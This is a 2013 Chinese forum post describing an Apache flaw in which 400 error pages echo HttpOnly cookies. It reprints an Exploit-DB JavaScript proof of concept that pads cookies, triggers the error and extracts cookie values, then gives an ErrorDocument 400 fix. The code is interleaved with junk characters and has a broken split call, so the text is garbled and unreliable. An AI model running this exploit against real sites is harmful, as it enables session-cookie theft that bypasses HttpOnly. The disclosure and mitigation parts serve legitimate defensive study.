找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2762|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。# Y* y* D5 ~+ T6 C% J

  C  s5 e7 R# Q( H. W8 _! m用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:; S0 z4 L% e) s5 F8 L

. ]) V( X5 G6 n3 P, l8 s: S) y! Y) F: U- B. R$ m
// http://www.exploit-db.com/exploits/18442/# u6 \/ n0 i0 v5 @- {9 Y4 g
function setCookies (good) {
4 b1 l( v6 c/ B% i// Construct string for cookie value* Y* v7 U/ Y/ _/ e2 J% E9 f
var str = "";; y" c" D2 ~1 m2 p; r; v
for (var i=0; i< 819; i++) {6 {$ Q! ^8 M" T
str += "x";+ n/ {; B; r3 R2 [
}
1 Z7 i- H2 m5 Y; h* a// Set cookies
( Z$ I. w8 p# x& K% o  {  kfor (i = 0; i < 10; i++) {
9 `1 u  m6 n7 C// Expire evil cookie
0 q4 C  u* N4 z7 s( d, B7 D9 h3 Gif (good) {# I5 ~( n5 _. M5 d5 X; N/ r; I# |, w
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";; _6 F' z: J5 x
}' C1 L" L0 j. n: q: s* @" g$ c+ m2 v
// Set evil cookie9 i2 v9 T7 w! W( W+ G' P
else {, S, P: L8 o! ?% H
var cookie = "xss"+i+"="+str+";path=/";
/ G- H% }3 u6 j4 ^2 w}2 `% y/ L& m% F! X9 d
document.cookie = cookie;
* N2 M! ~( Y! O4 |8 k( s: r* a/ v% I}
: {" |$ Q' m( x; T* ^}
) R2 A2 S" ]% U( ofunction makeRequest() {
2 |( y+ u) B! }( {" tsetCookies();+ @- I4 J8 _$ |
function parseCookies () {. a7 k) t0 S! d# g& e
var cookie_dict = {};
2 H! t# D( `% G8 \( O$ P1 \// Only react on 400 status! t3 O  @" E. ~) ]
if (xhr.readyState === 4 && xhr.status === 400) {
1 ]) ]5 ]# h* x8 N& w. k// Replace newlines and match <pre> content
+ l# K7 b4 K  Yvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);7 H" T! Z$ S, J- X& V: X
if (content.length) {
7 b/ b' K# f3 }5 x+ J4 C/ F& x, n// Remove Cookie: prefix+ e) }" e/ I0 K4 M# k
content = content[1].replace("Cookie: ", "");2 h( n0 T: t; b0 G. W/ |, A: q
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
2 B9 L! {( Y* `// Add cookies to object/ K2 O! |& O9 {$ X/ Q: A
for (var i=0; i<cookies.length; i++) {0 W) d$ U6 r# J, \
var s_c = cookies.split('=',2);
- I! q' Y- F* a0 N9 Z% L: Tcookie_dict[s_c[0]] = s_c[1];8 N. u% n( ^& c3 k$ N5 o  S# i
}2 Y( h. \* L2 g8 |
}
" S* S6 B+ g* b% L' |// Unset malicious cookies, _& @+ t1 l9 X
setCookies(true);+ A: |) q6 O3 O3 J' ~4 U  L/ A
alert(JSON.stringify(cookie_dict));
" ?, C3 G2 l& d9 p* y, H0 E}# j# l. M9 r' y& }
}
- l9 E/ R( J5 l3 u& e, ]* M- C// Make XHR request
9 _8 e" O: A9 G0 t! S) v4 p" Vvar xhr = new XMLHttpRequest();
. G% o8 a: H9 \2 i' ]  g, kxhr.onreadystatechange = parseCookies;
/ {! i& U7 B; z' d; F' axhr.open("GET", "/", true);. `9 s5 `! |6 `3 v9 X+ }" n
xhr.send(null);  Y( ?* H9 T0 `2 B* w. p8 a1 K3 b
}& j  `+ @/ C, q" g" V# H
makeRequest();; l: e/ A' ]4 m! q

+ e3 |: x# w2 Y9 }2 X% g' A. U你就能看见华丽丽的400错误包含着cookie信息。% g" r, L* C1 T0 f

4 r) o* v# C/ R, a) D, u下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#/ X1 L- E4 C2 ?, T4 Q- O  P

: r& Z. O8 K+ X$ X) B2 ~修复方案:
( M. E( f0 Q/ n  c/ J% P
: Y0 r" K6 M/ p6 ^. DApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
. D4 f2 |0 H+ n" O  u6 T' |/ A1 p* _- j
In the event of a problem or error, Apachecan be configured to do one of four things,
* @; ?7 D3 Y8 p- W: i
8 o: ^* S2 T" [+ T0 Z  n' J! C1. output asimple hardcoded error message输出一个简单生硬的错误代码信息0 m0 c4 A0 _7 d. p+ V7 d2 |
2. output acustomized message输出一段信息( o) h5 c2 I5 F2 ]0 p' m9 R5 n8 U
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ' u/ r: |; i) `; [/ J6 [+ c
4. redirect to an external URL to handle theproblem/error转向一个外部URL' z; h5 R) y2 F. b" m$ M1 w

, b; w7 @8 k1 q1 }# y# q' k经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容1 d4 X: C5 x! F$ U0 F% I- _$ S

3 f, b8 K4 P. r9 W+ m9 KApache配置:
# i9 F9 k2 C* }/ e0 i! \+ {! i6 }
. i2 N$ \; Z5 x2 aErrorDocument400 " security test"
' E2 ~5 U; G3 S3 G5 F0 r/ W: R+ S' {. T+ Z8 |+ h2 D
当然,升级apache到最新也可:)。
6 A2 u' ^" Z6 H* v
( S; b$ h  |' H参考:http://httpd.apache.org/security/vulnerabilities_22.html
) y9 t& A. F+ U0 G1 c0 g5 S) _0 f3 C; G+ |+ J' {4 ?# j7 Y9 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表